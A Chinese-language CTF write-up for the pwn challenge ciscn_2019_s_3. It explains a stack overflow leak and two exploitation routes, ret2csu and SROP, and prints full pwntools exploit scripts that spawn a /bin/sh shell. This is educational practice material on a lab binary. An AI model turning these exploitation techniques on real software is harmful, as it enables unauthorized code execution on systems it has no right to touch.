ciscn_2019_s_3

发布时间 2023-08-08 21:05:05作者: lmarch2

ciscn_2019_s_3

0x01

64位开启NX

image-20230808184656119

注意程序直接使用sys_read和sys_write函数而不是通常的read和write,在构造payload时要注意在函数返回时没有pop rbp这一步而是直接执行ret,所以我们直接覆盖rbp为vuln函数地址。

0x02

本题两种做法,一种是ret2csu,利用__libc_csu_init布置栈空间;一种是SROP

题目也给出了相应的gadgets,若选择rax传参0xF(系统调用号),则可执行sigreturn系统调用;若选择rax传参0x3B,则可执行excve('/bin/sh',0,0)系统调用

image-20230808184158810

我们需要在栈上布置ROPgadgets和各参数,而栈地址是随机的,所以我们首先要泄露栈地址。

同时我们知道栈上的各地址间的相对位置是不变的,所以泄露出栈地址后可以通过与buf的偏移计算出buf的地址

经过调试发现,如图: buf的起始地址为0x7fffffffded0,目标泄露栈地址(即某个rbp的值)为图中栈偏移为02的地址0x7fffffffe018,二者相差0x148。这是本地的偏移,若要获得与远程环境相同的偏移要应用patchelf。具体可看这篇文章。用相同的方法调试可得远程偏移为0x118.

image-20230808185715664

image-20230808185747565

在接收泄露的栈地址之前需要去掉多余的buf(0x10)+rbp(vul_addr)+栈上偏移为01的地址。

exp第一部分

vul_addr = 0x4004ed
ret_addr = 0x4003a9

vul_addr = 0x4004ed
payload = b'a' * 0x10 + p64(vul_addr)
p.send(payload)

p.recv(0x20)
stack_addr = u64(p.recv(8))
print(hex(stack_addr))
#buf_addr = stack_addr-0x118
buf_addr = stack_addr-0x148

0x03

第一种做法:ret2csu控制执行execve

__libc_csu_init (具体可以看ctf-wiki中的介绍)

image-20230808200450127

需要将各寄存器置为: rax 0x3B rdi = '/bin/sh' rsi = 0 rdx = 0

ROPgadget 能找到控制rdi和rsi的,以及syscall (不过实际上没有用rsi的,因为csu中有pop r14和mov rsi, r14指令,可以通过栈上布置将rsi置为0)

image-20230808202429992

image-20230808200850211

现在还要想办法控制rdx

通过__libc_csu_init可以看到,我们可以先执行pop r13然后再执行mov rdx, r13将rdx置为0

同时还要注意:

  1. 0x400589: call [r12 + rbx * 8], 会执行r12+rbx8地址指向的函数,不过这里没有需要执行的函数,所以可以在buf里放了个ret;的地址..., 然后让r12 + rbx8指向buf;call函数之前会自动将下一条指令入栈,接着执行ret则rsp指针相当于不变
  2. cmp rbx, rbp; jnz short loc_400580, 如果rbx和rbp相同会循环。想要绕过需要使 rbx = 0 rbp = 1
  3. 泄露函数地址后直接重进的vul函数,buf的地址不变
pop_rdi = 0x4005a3
syscall = 0x400501
vul_addr = 0x4004ed
ret_addr = 0x4003a9

payload = p64(ret_addr) + b'/bin/sh\0'#为之后函数跳转和传入binsh做准备
payload += p64(0x4004e2) # rax=0x3b
payload += p64(0x40059a) # 6个pop
payload += p64(0) + p64(1) # rbx = 0, rbp = 1
payload += p64(buf_addr) + p64(0) * 3 # r12 = buf_addr,r13 r14 r15 = 0
payload += p64(0x400580)         #执行寄存器r12指向的函数  (也就是ret);把rdx设为0            
payload += p64(0) * 7 # 这里执行到0x400596后又会重新pop一遍, 开头执行add rsp, 8让rsp跳过了栈上的一个数据,如何执行6pop,所以栈上布置7个0
payload += p64(pop_rdi) + p64(buf_addr + 8) # rdi = &'/bin/sh\0'
payload += p64(syscall)
payload += p64(vul_addr)
p.send(payload)
p.interactive()

第二种:SROP

具体可参考ctf-wiki

本题解法可参考这篇博客

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = buf_addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall

payload = b'/bin/sh\0'.ljust(0x10, b'a') + p64(0x4004da) + p64(syscall) + bytes(sigframe)

利用pwntools的sigframe模块即可

其实这两种解法都是以程序读入足够多的字节为条件的

完整exp

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h'] 
p = process('./ciscn_s_3')
#p = remote('node4.buuoj.cn',29591)


pop_rdi_ret = 0x4005a3
syscall = 0x400501
vul_addr = 0x4004ed
ret_addr = 0x4003a9

vul_addr = 0x4004ed
payload = b'a' * 0x10 + p64(vul_addr)
p.send(payload)

p.recv(0x20)
stack_addr = u64(p.recv(8))
print(hex(stack_addr))
#buf_addr = stack_addr-0x118
buf_addr = stack_addr-0x148

gdb.attach(p)

payload = p64(ret_addr) + b'/bin/sh\00'


payload += p64(0x4004e2) # rax=0x3b
payload += p64(0x40059a) # rdx = 0
payload += p64(0) + p64(1) # rbx = 0, rbp = 1
payload += p64(buf_addr) + p64(0) * 3 # r12 = buf_addr
payload += p64(0x400580)
payload += p64(0) * 7
payload += p64(pop_rdi_ret) + p64(buf_addr + 8) # rdi = &'/bin/sh\0'
payload += p64(syscall)
#payload += p64(vul_addr)
'''

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = buf_addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall

payload = b'/bin/sh\0'.ljust(0x10, b'a') + p64(0x4004da) + p64(syscall) + bytes(sigframe)
'''

p.send(payload)
p.interactive()